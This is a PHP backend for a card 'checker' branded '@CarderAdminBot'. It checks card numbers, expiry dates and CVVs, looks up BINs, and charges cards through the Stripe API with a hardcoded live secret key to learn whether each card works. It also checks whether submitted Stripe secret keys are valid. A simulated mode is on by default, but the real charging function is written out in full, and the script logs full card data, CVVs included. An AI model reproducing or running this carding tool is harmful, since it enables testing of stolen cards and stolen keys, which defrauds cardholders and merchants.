<?php
session_start();
header('Content-Type: application/json');

// Konfigurasi
$botToken = "8410758576:AAFpZ5fSFvOeiWt1bGWe4Nf0X3dPAJVHHls";
$sk = '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';

// Fungsi helper
function GetStr($string, $start, $end) {
    if ($string === null || $start === null || $end === null) {
        return '';
    }
    $str = explode($start, $string);
    if (isset($str[1])) {
        $str = explode($end, $str[1]);
        return $str[0];
    }
    return '';
}

function multiexplode($delimiters, $string) {
    $one = str_replace($delimiters, $delimiters[0], $string);
    $two = explode($delimiters[0], $one);
    return $two;
}

function random_strings($length_of_string) {
    $str_result = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    return substr(str_shuffle($str_result), 0, $length_of_string);
}

// Fungsi untuk BIN Lookup
function binLookup($bin) {
    if (empty($bin) || strlen($bin) < 6) {
        return false;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/' . $bin);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Host: lookup.binlist.net',
        'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628',
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
    ));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POSTFIELDS, '');
    $fim = curl_exec($ch);
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpcode != 200) {
        return false;
    }
    
    $bank = GetStr($fim, '"bank":{"name":"', '"');
    $name = GetStr($fim, '"name":"', '"');
    $brand = GetStr($fim, '"brand":"', '"');
    $country = GetStr($fim, '"country":{"name":"', '"');
    $emoji = GetStr($fim, '"emoji":"', '"');
    $scheme = GetStr($fim, '"scheme":"', '"');
    $type = GetStr($fim, '"type":"', '"');
    
    if (strpos($fim, '"type":"credit"') !== false) {
        $bin_type = 'Credit';
    } else {
        $bin_type = 'Debit';
    }
    
    return [
        'bank' => $bank ?: 'Unknown Bank',
        'country' => $country ?: 'Unknown Country',
        'emoji' => $emoji ?: '🏳️',
        'brand' => $brand ?: 'Unknown Brand',
        'scheme' => $scheme ?: 'Unknown Scheme',
        'type' => $bin_type
    ];
}

// Fungsi untuk Stripe Check (Simulasi untuk testing)
function stripeCheckSimulation($cc, $mes, $ano, $cvv, $amount, $currency) {
    // Simulasi berbagai response untuk testing
    $simulations = [
        [
            'status' => 'success',
            'message' => 'CVV Matched ✅',
            'details' => 'Successfully Charged'
        ],
        [
            'status' => 'warning', 
            'message' => 'CVV Matched ✅',
            'details' => 'Insufficient Funds'
        ],
        [
            'status' => 'error',
            'message' => 'CCN Matched ✅', 
            'details' => 'CVV MISSMATCH'
        ],
        [
            'status' => 'warning',
            'message' => 'CVV Matched ✅',
            'details' => '3D Security Required'
        ]
    ];
    
    // Pilih random simulation atau berdasarkan logika tertentu
    $result = $simulations[array_rand($simulations)];
    
    // Untuk card tertentu, berikan response spesifik
    $first_digit = substr($cc, 0, 1);
    if ($first_digit == '4') {
        $result = $simulations[0]; // Visa biasanya success
    } elseif ($first_digit == '5') {
        $result = $simulations[1]; // Mastercard biasanya insufficient funds
    }
    
    return $result;
}

// Fungsi untuk Stripe Check (Real) - HATI-HATI dengan kode ini di production
function stripeCheckReal($cc, $mes, $ano, $cvv, $amount, $currency) {
    global $sk;
    
    $mail = 'checker' . random_strings(8) . '@gmail.com';
    $amount_value = $amount * 100;
    
    try {
        // Step 1: Create Payment Method
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERPWD, $sk . ':' . '');
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
            'type' => 'card',
            'card[number]' => $cc,
            'card[exp_month]' => $mes,
            'card[exp_year]' => $ano,
            'card[cvc]' => $cvv,
            'billing_details[address][line1]' => '123 Main St',
            'billing_details[address][city]' => 'New York',
            'billing_details[address][state]' => 'NY',
            'billing_details[address][postal_code]' => '10001',
            'billing_details[address][country]' => 'US',
            'billing_details[email]' => $mail,
            'billing_details[name]' => 'Test Customer'
        ]));
        
        $result1 = curl_exec($ch);
        $http_code1 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $tok1 = GetStr($result1, '"id": "', '"');
        $msg1 = GetStr($result1, '"message": "', '"');
        curl_close($ch);
        
        if (!$tok1) {
            return ['status' => 'error', 'message' => 'Payment Method Failed', 'details' => $msg1 ?: 'Unknown error'];
        }
        
        // Step 2: Create Payment Intent
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERPWD, $sk . ':' . '');
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
            'amount' => $amount_value,
            'currency' => $currency,
            'payment_method_types[]' => 'card',
            'description' => 'Website Check',
            'payment_method' => $tok1,
            'confirm' => 'true',
            'off_session' => 'true'
        ]));
        
        $result2 = curl_exec($ch);
        $http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $msg2 = GetStr($result2, '"message": "', '"');
        curl_close($ch);
        
        // Analyze response
        if (strpos($result2, '"seller_message": "Payment complete."') !== false) {
            return ['status' => 'success', 'message' => 'CVV Matched ✅', 'details' => 'Successfully Charged'];
        } elseif (strpos($result2, "insufficient_funds") !== false) {
            return ['status' => 'warning', 'message' => 'CVV Matched ✅', 'details' => 'Insufficient Funds'];
        } elseif (strpos($result2, "card_error_authentication_required") !== false || strpos($result1, "card_error_authentication_required") !== false) {
            return ['status' => 'warning', 'message' => 'CVV Matched ✅', 'details' => '3D Security Required'];
        } elseif (strpos($result2, '"cvc_check": "pass"') !== false) {
            return ['status' => 'success', 'message' => 'CVV Matched ✅', 'details' => 'Payment Cannot Be Completed'];
        } elseif (strpos($result2, '"code": "incorrect_cvc"') !== false || strpos($result1, '"code": "incorrect_cvc"') !== false) {
            return ['status' => 'error', 'message' => 'CCN Matched ✅', 'details' => 'CVV MISSMATCH'];
        } elseif (strpos($result2, "transaction_not_allowed") !== false || strpos($result1, "transaction_not_allowed") !== false) {
            return ['status' => 'warning', 'message' => 'CVV Matched ✅', 'details' => 'Transaction Not Allowed'];
        } elseif (strpos($result2, "fraudulent") !== false || strpos($result1, "fraudulent") !== false) {
            return ['status' => 'error', 'message' => 'Fraudulent', 'details' => 'Declined ❌'];
        } elseif (strpos($result2, "expired_card") !== false || strpos($result1, "expired_card") !== false) {
            return ['status' => 'error', 'message' => 'Expired Card', 'details' => 'Declined ❌'];
        } elseif (strpos($result2, "generic_declined") !== false || strpos($result1, "generic_declined") !== false) {
            return ['status' => 'error', 'message' => 'Generic Declined', 'details' => 'Declined ❌'];
        } elseif (strpos($result2, "do_not_honor") !== false || strpos($result1, "do_not_honor") !== false) {
            return ['status' => 'error', 'message' => 'Do Not Honor', 'details' => 'Declined ❌'];
        } elseif (strpos($result2, "rate_limit") !== false || strpos($result1, "rate_limit") !== false) {
            return ['status' => 'error', 'message' => 'Rate Limit', 'details' => 'Declined ❌'];
        } else {
            return ['status' => 'error', 'message' => 'Unknown Response', 'details' => $msg2 ?: 'Check failed'];
        }
        
    } catch (Exception $e) {
        return ['status' => 'error', 'message' => 'Exception', 'details' => $e->getMessage()];
    }
}

// Main processing
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Log incoming request untuk debugging
    error_log("Received POST request: " . print_r($_POST, true));
    
    $input = file_get_contents('php://input');
    error_log("Raw input: " . $input);
    
    $action = $_POST['action'] ?? '';
    $response = ['status' => '', 'message' => ''];

    try {
        switch ($action) {
            case 'check_card':
                error_log("Processing check_card action");
                
                $amount = $_POST['amount'] ?? '1';
                $card_number = str_replace([' ', '-', '_'], '', $_POST['card_number'] ?? '');
                $exp_month = $_POST['exp_month'] ?? '';
                $exp_year = $_POST['exp_year'] ?? '';
                $cvv = $_POST['cvv'] ?? '';
                $currency = $_POST['currency'] ?? 'usd';
                
                error_log("Card data: $card_number|$exp_month|$exp_year|$cvv");
                
                // Validasi input
                if (empty($card_number) || empty($exp_month) || empty($exp_year) || empty($cvv)) {
                    throw new Exception('❌ Please fill in all card details.');
                }
                
                if (!is_numeric($card_number) || strlen($card_number) < 15) {
                    throw new Exception('❌ Invalid card number. Must be at least 15 digits.');
                }
                
                if (!is_numeric($exp_month) || $exp_month < 1 || $exp_month > 12) {
                    throw new Exception('❌ Invalid expiration month. Must be between 01-12.');
                }
                
                $current_year = date('y');
                $current_month = date('m');
                
                if (!is_numeric($exp_year) || strlen($exp_year) != 2) {
                    throw new Exception('❌ Invalid expiration year. Must be 2 digits (YY).');
                }
                
                // Check if card is expired
                if ($exp_year < $current_year || ($exp_year == $current_year && $exp_month < $current_month)) {
                    throw new Exception('❌ Card is expired.');
                }
                
                if (!is_numeric($cvv) || strlen($cvv) < 3 || strlen($cvv) > 4) {
                    throw new Exception('❌ Invalid CVV. Must be 3 or 4 digits.');
                }
                
                // BIN Lookup
                $bin = substr($card_number, 0, 6);
                $bin_info = binLookup($bin);
                
                if (!$bin_info) {
                    $bin_info = [
                        'bank' => 'Unknown Bank',
                        'country' => 'Unknown Country', 
                        'emoji' => '🏳️',
                        'brand' => 'Unknown Brand',
                        'scheme' => 'Unknown Scheme',
                        'type' => 'Unknown'
                    ];
                }
                
                // Stripe Check - GUNAKAN SIMULASI DULU untuk testing
                $stripe_result = stripeCheckSimulation($card_number, $exp_month, $exp_year, $cvv, $amount, $currency);
                
                // Jika ingin menggunakan real check, ganti dengan:
                // $stripe_result = stripeCheckReal($card_number, $exp_month, $exp_year, $cvv, $amount, $currency);
                
                // Format response
                $currency_symbol = $currency === 'usd' ? '$' : '₹';
                $lista = $card_number . '|' . $exp_month . '|' . $exp_year . '|' . $cvv;
                
                $status_icon = $stripe_result['status'] === 'success' ? '✅' : 
                              ($stripe_result['status'] === 'warning' ? '🟡' : '❌');
                
                $bin_info_html = "
                <div style='background: #f8f9fa; padding: 10px; border-radius: 5px; border-left: 4px solid #3498db; margin: 10px 0;'>
                    <b>🏦 BIN Information:</b><br>
                    • Bank: <b>{$bin_info['bank']}</b><br>
                    • Country: <b>{$bin_info['country']}</b> {$bin_info['emoji']}<br>
                    • Brand: <b>{$bin_info['brand']}</b><br>
                    • Scheme: <b>{$bin_info['scheme']}</b><br>
                    • Type: <b>{$bin_info['type']}</b>
                </div>
                ";
                
                $response = [
                    'status' => $stripe_result['status'],
                    'message' => "
                    <b>💳 Card Check Result</b><br>
                    <b>Card:</b> <code>$lista</code><br><br>
                    
                    <b>Status:</b> $status_icon {$stripe_result['message']}<br>
                    <b>Response:</b> {$stripe_result['details']}<br>
                    <b>Amount:</b> {$currency_symbol}$amount<br>
                    <b>Gateway:</b> Stripe Charge<br>
                    
                    $bin_info_html
                    
                    <b>👤 Checked By:</b> Website User<br>
                    <b>🆔 Session:</b> " . session_id() . "<br>
                    <b>🕒 Time:</b> " . date('Y-m-d H:i:s') . "<br><br>
                    
                    <b>🤖 Bot By: @CarderAdminBot</b>
                    "
                ];
                break;
                
            case 'bin_lookup':
                $bin = $_POST['bin'] ?? '';
                
                if (empty($bin) || strlen($bin) < 6 || !is_numeric($bin)) {
                    throw new Exception('❌ Please enter a valid BIN (first 6 digits of card).');
                }
                
                $bin_info = binLookup($bin);
                
                if (!$bin_info) {
                    throw new Exception('❌ BIN not found or invalid.');
                }
                
                $response = [
                    'status' => 'success',
                    'message' => "
                    <b>✅ Valid BIN</b><br><br>
                    
                    <b>🏦 Bank:</b> {$bin_info['bank']}<br>
                    <b>🌍 Country:</b> {$bin_info['country']} {$bin_info['emoji']}<br>
                    <b>💳 Brand:</b> {$bin_info['brand']}<br>
                    <b>🔄 Scheme:</b> {$bin_info['scheme']}<br>
                    <b>📊 Type:</b> {$bin_info['type']}<br><br>
                    
                    <b>👤 Checked By:</b> Website User<br>
                    <b>🆔 Session:</b> " . session_id() . "<br><br>
                    
                    <b>🤖 Bot By: @CarderAdminBot</b>
                    "
                ];
                break;
                
            case 'sk_check':
                $sk_input = trim($_POST['sk'] ?? '');
                
                if (empty($sk_input)) {
                    throw new Exception('❌ Please enter a Stripe Secret Key.');
                }
                
                if (!preg_match('/^sk_(live|test)_[a-zA-Z0-9]+$/', $sk_input)) {
                    throw new Exception('❌ Invalid Stripe Secret Key format. Must start with sk_live_ or sk_test_');
                }
                
                // Gunakan fungsi SK check yang sudah berhasil
                $sk_result = skCheckAlternative($sk_input);
                $skhidden = substr($sk_input, 0, 12) . str_repeat('x', strlen($sk_input) - 12);
                
                $status_icon = $sk_result['status'] === 'success' ? '✅' : 
                              ($sk_result['status'] === 'warning' ? '⚠️' : '❌');
                
                $response = [
                    'status' => $sk_result['status'],
                    'message' => "
                    <b>$status_icon {$sk_result['message']}</b><br><br>
                    
                    <b>🔑 Key:</b> <code>$skhidden</code><br>
                    <b>📊 Status:</b> {$sk_result['message']}<br>
                    <b>🕒 Checked At:</b> " . date('Y-m-d H:i:s') . "<br>
                    <b>🆔 Session:</b> " . session_id() . "<br><br>
                    
                    <b>👤 Checked By:</b> Website User<br>
                    <b>🤖 Bot By: @CarderAdminBot</b>
                    "
                ];
                break;
                
            default:
                error_log("Invalid action received: " . $action);
                throw new Exception('❌ Invalid action: ' . $action);
        }
    } catch (Exception $e) {
        error_log("Exception in process.php: " . $e->getMessage());
        $response = [
            'status' => 'error',
            'message' => $e->getMessage()
        ];
    }
    
    error_log("Sending response: " . print_r($response, true));
    echo json_encode($response);
    exit;
}

// Jika bukan POST request
error_log("Invalid request method: " . $_SERVER['REQUEST_METHOD']);
echo json_encode(['status' => 'error', 'message' => '❌ Invalid request method.']);
?>